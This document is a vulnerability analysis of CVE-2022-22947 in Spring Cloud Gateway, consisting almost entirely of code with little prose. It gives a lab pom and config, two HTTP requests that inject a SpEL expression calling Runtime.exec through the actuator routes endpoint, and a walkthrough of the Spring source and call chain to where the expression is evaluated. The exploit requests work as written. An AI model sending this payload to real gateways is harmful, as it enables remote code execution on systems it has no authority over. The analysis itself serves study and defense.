CVE-2022-22947 Spring Cloud Gateway漏洞分析从0到1

<?xml version="1.0" encoding="UTF-8"?><project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"         xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 https://maven.apache.org/xsd/maven-4.0.0.xsd">    <modelVersion>4.0.0</modelVersion>    <parent>        <groupId>org.springframework.boot</groupId>        <artifactId>spring-boot-starter-parent</artifactId>        <version>2.6.4</version>        <relativePath/> <!-- lookup parent from repository -->    </parent>    <groupId>com.springcloud</groupId>    <artifactId>gatewaydemo</artifactId>    <version>0.0.1-SNAPSHOT</version>    <name>gatewaydemo</name>    <description>Demo project for Spring Boot</description>    <properties>        <java.version>1.8</java.version>        <spring-cloud.version>2021.0.1</spring-cloud.version>    </properties>    <dependencies>        <dependency>            <groupId>org.springframework.cloud</groupId>            <artifactId>spring-cloud-starter-gateway</artifactId>            <version>3.1.0</version>        </dependency>
        <dependency>            <groupId>org.springframework.boot</groupId>            <artifactId>spring-boot-starter-test</artifactId>            <scope>test</scope>        </dependency>        <dependency>            <groupId>org.springframework.boot</groupId>            <artifactId>spring-boot-starter-actuator</artifactId>        </dependency>    </dependencies>

    <build>        <plugins>            <plugin>                <groupId>org.springframework.boot</groupId>                <artifactId>spring-boot-maven-plugin</artifactId>            </plugin>        </plugins>    </build></project>

server:    port: 8096
#微服务名称spring:    cloud:        gateway:            routes:                - id: find                  uri: http://127.0.0.1:8080                  predicates:                  - Path=/images/index.html

management:  endpoint:    gateway:      enabled: true  endpoints:    web:      exposure:        include: gateway

POST /actuator/gateway/routes/hacktest HTTP/1.1Host: localhost:8096Content-Type: application/jsonContent-Length: 185
{  "id":"hacktest",  "filters":[{    "name":"RewritePath",    "args":{      "_genkey_0": "#{T(java.lang.Runtime).getRuntime().exec("calc")}",      "_genkey_1": "/${path}"    }  }]}

POST /actuator/gateway/refresh HTTP/1.1Host: localhost:8096

public Flux<Route> getRoutes() {    Flux<Route> routes = this.routeDefinitionLocator.getRouteDefinitions().map(this::convertToRoute);    if (!this.gatewayProperties.isFailOnRouteDefinitionError()) {        routes = routes.onErrorContinue((error, obj) -> {            if (this.logger.isWarnEnabled()) {                this.logger.warn("RouteDefinition id " + ((RouteDefinition)obj).getId() + " will be ignored. Definition has invalid configs, " + error.getMessage());            }
        });    }
    return routes.map((route) -> {        if (this.logger.isDebugEnabled()) {            this.logger.debug("RouteDefinition matched: " + route.getId());        }
        return route;    });}

@PostMapping({"/refresh"})public Mono<Void> refresh() {    this.publisher.publishEvent(new RefreshRoutesEvent(this));    return Mono.empty();}

private Flux<Route> fetch() {    return this.delegate.getRoutes().sort(AnnotationAwareOrderComparator.INSTANCE);}

private List<GatewayFilter> getFilters(RouteDefinition routeDefinition) {    List<GatewayFilter> filters = new ArrayList();    if (!this.gatewayProperties.getDefaultFilters().isEmpty()) {        filters.addAll(this.loadGatewayFilters(routeDefinition.getId(), new ArrayList(this.gatewayProperties.getDefaultFilters())));    }
    if (!routeDefinition.getFilters().isEmpty()) {        filters.addAll(this.loadGatewayFilters(routeDefinition.getId(), new ArrayList(routeDefinition.getFilters())));    }
    AnnotationAwareOrderComparator.sort(filters);    return filters;}

factory.apply(configuration)

Object configuration = this.configurationService.with(factory).name(definition.getName()).properties(definition.getArgs()).eventFunction((bound, properties) -> {    return new FilterArgsEvent(this, id, (Map)properties);}).bind();

protected Map<String, Object> normalizeProperties() {    return this.service.beanFactory != null ? ((ShortcutConfigurable)this.configurable).shortcutType().normalize(this.properties, (ShortcutConfigurable)this.configurable, this.service.parser, this.service.beanFactory) : super.normalizeProperties();}

static Object getValue(SpelExpressionParser parser, BeanFactory beanFactory, String entryValue) {    String rawValue = entryValue;    if (entryValue != null) {        rawValue = entryValue.trim();    }
    Object value;    if (rawValue != null && rawValue.startsWith("#{") && entryValue.endsWith("}")) {        StandardEvaluationContext context = new StandardEvaluationContext();        context.setBeanResolver(new BeanFactoryResolver(beanFactory));        Expression expression = parser.parseExpression(entryValue, new TemplateParserContext());        value = expression.getValue(context);    } else {        value = entryValue;    }
    return value;}

#{T(java.lang.Runtime).getRuntime().exec("calc")}

CachingRouteLocator#onApplicationEvent  CachingRouteLocator#fetch    CompositeRouteLocator#getRoutes      RouteDefinitionRouteLocator#getRoutes        RouteDefinitionRouteLocator#convertToRoute          RouteDefinitionRouteLocator#getFilters            RouteDefinitionRouteLocator#loadGatewayFilters              ConfigurationService$AbstractBuilder#bind                ConfigurationService$ConfigurableBuilder#normalizeProperties                  ShortcutConfigurable$ShortcutType$1#normalize                    ShortcutConfigurable#getValue